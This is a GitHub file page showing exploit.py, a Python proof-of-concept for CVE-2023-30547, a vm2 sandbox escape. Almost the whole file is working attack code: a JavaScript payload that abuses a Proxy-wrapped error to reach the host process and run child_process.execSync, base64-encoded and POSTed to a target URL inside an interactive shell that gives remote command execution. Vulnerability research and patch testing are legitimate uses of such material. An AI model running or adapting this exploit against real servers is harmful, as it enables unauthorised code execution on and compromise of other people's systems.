-
Notifications
You must be signed in to change notification settings - Fork 8
/
Copy pathexploit.py
84 lines (71 loc) · 2.13 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
#!/bin/python3
import requests
import base64
import sys
import cmd
import readline
import json
# CVE-2023-30547 - PoC Exploit for VM2 Sandbox Escape Vulnerability
# Author : Ravindu Wickramasinghe | rvz
class ExploitShell(cmd.Cmd):
def __init__(self, url):
super().__init__()
self.url = url
def default(self, line):
cmd = line
payload = '''const {VM} = require("vm2");
const vm = new VM();
const code = `
cmd = "'''+cmd+'''";
err = {};
const handler = {
getPrototypeOf(target) {
(function stack() {
new Error().stack;
stack();
})();
}
};
const proxiedErr = new Proxy(err, handler);
try {
throw proxiedErr;
} catch ({constructor: c}) {
c.constructor('return process')().mainModule.require('child_process').execSync(cmd);
}
`
console.log(vm.run(code));'''
encoded_payload = base64.b64encode(payload.encode('utf-8')).decode('utf-8')
# update if needed
headers = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
'Accept': '*/*',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/json',
'Connection': 'keep-alive',
}
# update if needed
json_data = {'code': encoded_payload}
try:
response = requests.post(self.url, headers=headers, json=json_data)
except:
print("[!] an error occurred!")
return
try:
values = list(json.loads(response.text).values())
print(values[0])
except json.JSONDecodeError:
print(response.text)
def do_exit(self, args):
print("exiting...")
return True
def main():
try:
url = sys.argv[1]
except IndexError:
print("usage: ./exploit.py <url>")
sys.exit(1)
shell = ExploitShell(url)
shell.prompt = "> "
shell.cmdloop()
if __name__ == "__main__":
main()